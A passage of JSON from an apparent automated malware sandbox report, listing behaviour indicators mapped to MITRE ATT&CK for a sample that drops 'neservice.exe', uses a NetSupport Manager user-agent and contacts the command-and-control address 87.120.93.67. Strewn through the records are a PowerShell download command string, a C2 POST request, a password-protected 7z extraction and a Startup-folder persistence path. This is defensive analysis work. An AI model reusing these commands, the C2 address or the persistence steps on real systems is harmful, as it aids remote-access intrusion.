comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"file/memory contains long string with (Indicator: \"Invoke-WebRequest\"; File: \"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin\")\n Found string \"Invoke-WebRequest $url -OutFile $dest\" (Indicator: \"Invoke-WebRequest\"; File: \"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin\")","id":"string-282","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to get content from a webpage (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"$23","id":"string-729","level":"informative","mitre_attack_id":"T1489","name":"Able to retrieve/open a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"$24","id":"registry-136","level":"informative","mitre_attack_id":"T1112","name":"Writes registry keys","origin":"Registry Access","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"LookupPrivilegeValueW@ADVAPI32.DLL at 00000000-00006340-16389-179-010C7F89\n LookupPrivilegeValueW@ADVAPI32.DLL at 00000000-00006340-16389-592-010CD5D1","id":"stream-76","level":"suspicious","mitre_attack_id":"T1134.003","name":"Contains ability to adjust token privileges","origin":"Hybrid Analysis Technology","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-544","level":"informative","mitre_attack_id":"T1569.002","name":"Contains ability to open a service (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-365","level":"informative","mitre_attack_id":"T1029","name":"Contains ability to perform scheduled transfer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"file/memory contains long string(File: \"neservice.exe\")\n file/memory contains long string(File: \"pcicapi.dll\")\n file/memory contains long string(File: \"AudioCapture.dll\")\n file/memory contains long string(File: \"remcmdstub.exe\")","id":"string-930","level":"informative","mitre_attack_id":"T1059.003","name":"Able to retrieve command line parameters of the running process","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","id":"api-173","level":"informative","mitre_attack_id":"T1083","name":"Tries to access Powershell profile file","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Pattern Matching","description":"YARA signature for 7-Zip file file \"7z.exe\"","id":"yara-176","level":"informative","mitre_attack_id":"T1560.001","name":"YARA signature match - Detects 7zip files","origin":"YARA Signature","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-224","level":"informative","mitre_attack_id":"T1016","name":"Contains ability to retrieve the local name for a socket (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found registry deletion API: \"RegDeleteKeyTransactedA\" in \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExA\" in \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteValueA\" in \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyA\" in \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\"","id":"string-230","level":"informative","mitre_attack_id":"T1112","name":"Able to delete registry key/value (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"$25","id":"string-97","level":"informative","mitre_attack_id":"T1548","name":"Contains ability to use security policy setting (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"7z.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"neservice.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","id":"api-103","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used for taking snapshot of the specified processes","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$26","id":"string-475","level":"informative","mitre_attack_id":"T1555","name":"Contains string like password/secret","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp\")","id":"string-474","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to access device drivers","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"HTCTL32.DLL\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"HTCTL32.DLL\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-338","level":"informative","mitre_attack_id":"T1132","name":"Contains ability to perform Base64 encoding/decoding","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-409","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to set file time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"powershell.exe\" at 00000000-00004744-00000C15-1560140961","id":"api-10","level":"informative","mitre_attack_id":"T1622","name":"Queries kernel debugger information","origin":"API Call","relevance":6,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"details too long to display","id":"string-101","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to execute Windows APIs","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found string \"p://87.120.93.67/fakeurl.htm HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002888.00000000.163893.05C40000.00000004.mdmp, 00000000-00002888.00000001.165813.05C40000.00000004.mdmp, 00000000-00002888.00000002.167735.05C40000.00000004.mdmp\")\n Found string \"POST http://%s/fakeurl.htm HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp\")\n Found string \"CONNECT %s:%d HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp\")\n Found string \"HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp\")","id":"string-457","level":"informative","mitre_attack_id":"T1071.001","name":"Found string related to HTTP headers","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","id":"registry-1","level":"informative","mitre_attack_id":"T1082","name":"Reads the cryptographic machine GUID","origin":"Registry Access","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"pGetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-118","level":"informative","mitre_attack_id":"T1016","name":"Contains ability to query network adapter information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found string \"Cannot resolve hostname %s, error %d\" (Indicator: \"hostname\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp\")\n Found string \"HOSTNAME\" (Indicator: \"hostname\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp\")\n Found string \"HostName\" (Indicator: \"hostname\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string \"Please enter the hostname or IP address of the Control you want to connect to.\" (Indicator: \"hostname\"; Source: \"00000000-00002888.00000002.167735.111EA000.00000002.mdmp\")","id":"string-126","level":"informative","mitre_attack_id":"T1082","name":"Found system command-related strings","origin":"File/Memory","relevance":7,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$27","id":"api-43","level":"suspicious","mitre_attack_id":"T1105","name":"Writes a PE file header to disc","origin":"API Call","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","id":"summary-31","level":"informative","mitre_attack_id":"T1573.001","name":"Shows ability to use encryption for command and control traffic","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00004744)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00004744)\n \"neservice.exe\" called \"LookupAccountSidA\" with param Name SYSTEM (UID: 00000000-00002888)","id":"api-148","level":"informative","mitre_attack_id":"T1033","name":"Calls an API typically used to retrieve account information for specified SID","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"SetupDiGetClassDevsA\" (Indicator: \"SetupDiGetClassDevs\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-533","level":"informative","mitre_attack_id":"T1480","name":"Contains ability to retrieve information set for devices (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$28","id":"api-175","level":"informative","mitre_attack_id":"T1129","name":"Calls an API typically used to load libraries","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Pattern match: \"support@pci.co.uk\"","id":"string-63","level":"informative","mitre_attack_id":"T1114","name":"Found E-Mail address in binary/memory","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"MapVirtualKeyA\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-88","level":"informative","mitre_attack_id":"T1056.001","name":"Able to retrieve information about pressed keystrokes (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$29","id":"string-78","level":"informative","mitre_attack_id":"T1113","name":"Contains ability to capture screen (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00004744-00000C2C-1546162231","id":"string-406","level":"informative","mitre_attack_id":"T1529","name":"Contains ability to shutdown system","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$2a","id":"string-315","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to create/open files (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%LOCALAPPDATA%\\Nfservice\\neservice.exe\"\" - (UID: 00000000-00004744)","id":"api-129","level":"suspicious","mitre_attack_id":"T1055","name":"Creates a process in suspended mode (likely for process injection)","origin":"API Call","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"Found string \":\\WINDOWS\\SYSTEM32\\DBGHELP.DLL\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp\")\n Found string \"DBGHELP.DLL\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found string \"dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-5","level":"suspicious","mitre_attack_id":"T1518.001","name":"Possibly checks for known debuggers/analysis tools","origin":"File/Memory","relevance":2,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"\"at.7z\" has type \"7-zip archive data version 0.4\"\n \"lnk.7z\" has type \"7-zip archive data version 0.4\"","id":"binary-84","level":"suspicious","mitre_attack_id":"T1027.015","name":"Drops compressed file on the system","origin":"Binary File","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '1697481752577', 'hResInfo': '1697481753824'}\" (UID: 00000000-00004744)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1697481752577', 'hResInfo': '1697481753856'}\" (UID: 00000000-00004744)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1697481752577', 'hResInfo': '1697481753872'}\" (UID: 00000000-00004744)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1697481752577', 'hResInfo': '1697481753840'}\" (UID: 00000000-00004744)","id":"api-139","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to load a resource in memory","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$2b","id":"string-89","level":"informative","mitre_attack_id":"T1082","name":"Able to retrieve information about the current system (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004744)","id":"api-152","level":"informative","mitre_attack_id":"T1010","name":"Calls an API typically used to enumerate active windows","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00002888.00000001.165813.72691000.00000020.mdmp\")\n Found reference to API \"Udp MoveFile %s to %s took %d ms\" (Indicator: \"MoveFile\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-322","level":"informative","mitre_attack_id":"T1570","name":"Contains ability to move file or directory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Process \"7z.exe\" with commandline \"x at.7z -pppp -aoa -y\" (UID: 00000000-00000400)\n Process \"7z.exe\" with commandline \"\"%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\"\" (UID: 00000000-00006340)","id":"target-194","level":"informative","mitre_attack_id":"T1560.001","name":"Possible archive activity detected","origin":"Monitored Target","relevance":2,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","id":"summary-27","level":"informative","mitre_attack_id":"T1119","name":"Shows ability to send encrypted data to the internet","origin":"Indicator Combinations","relevance":2,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"RegFlushKey\" (Indicator: \"RegFlushKey\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-304","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to modify registry key/value (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-538","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to create a HTTP or FTP session (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"$2c","id":"string-899","level":"informative","mitre_attack_id":"T1071","name":"Contains references to network communication API (string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"\"87.120.93.67\"\n Potential IP \"87.120.93.67\" found in string \"http://87.120.93.67/fakeurl.htm\"\n Potential IP \"87.120.93.67\" found in string \"POST http://87.120.93.67/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 87.120.93.67Connection: Keep-AliveCMD=POLLINFO=1ACK=1\"\n \"2.5.29.37\"\n \"2.5.29.35\"\n \"192.168.0.1\"\n Potential IP \"192.168.0.2\" found in string \"CLIENT_ADDR=>192.168.0.2\"\n \"255.255.255.255\"\n Potential IP \"87.120.93.67\" found in string \"p://87.120.93.67/fakeurl.htm HTTP/1.1\"\n Potential IP \"87.120.93.67\" found in string \"Host: 87.120.93.67\"\n \"127.0.0.1\"\n Potential IP \"0.0.0.0\" found in string \"CLIENT_IP_ADDRESS=0.0.0.0\"\n \"225.16.8.68\"\n Potential IP \"127.0.0.1\" found in string \"http://127.0.0.1\"\n \"8.7.0.0\"\n \"10.21.0.0\"\n \"0.0.0.0\"","id":"string-14","level":"informative","mitre_attack_id":"T1071","name":"Found potential IP address in binary/memory","origin":"File/Memory","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$2d","id":"string-57","level":"informative","mitre_attack_id":"T1027","name":"Contains CRYPTO related strings","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-115","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve data about the local computer (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Destruction","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF267e3f.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_w2dbsgcb.yzg.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_zduujwhy.juo.psm1\" for deletion","id":"api-26","level":"informative","mitre_attack_id":"T1070.004","name":"Marks file for deletion","origin":"API Call","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-535","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to write files (API string)","origin":"File/Memory","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$2e","id":"string-193","level":"informative","mitre_attack_id":"T1082","name":"Able to query volume/memory size (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00006340-16389-189-010C834A\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006340-16389-845-010C885D","id":"stream-71","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to query local/system time as file time","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00004744-00000C17-1526930236\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00004744-00000C17-1526963461\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00004744-00000C17-1526967650\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00004744-00000C17-1531256980\n \"neservice.exe\" queries volume information of \"C:\\\" at 00000000-00002888-00000C17-1561290943\n \"neservice.exe\" queries volume information of \"C:\\\" at 00000000-00002888-00000C17-1561294361\n \"neservice.exe\" queries volume information of \"C:\\\" at 00000000-00002888-00000C17-1564312630","id":"api-39","level":"informative","mitre_attack_id":"T1082","name":"Queries volume information of an entire harddrive","origin":"API Call","relevance":8,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-345","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to disable/close registry key (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found user-agent(s): Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248","id":"network-22","level":"suspicious","mitre_attack_id":"T1071.001","name":"Uses a browser-related user-agent without launching browser","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"Info: IsWow64Process ret %d\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-450","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to determine if process is running under WOW64 (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00004744)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00004744)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00004744)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00004744)","id":"api-140","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to find a resource in a module","origin":"API 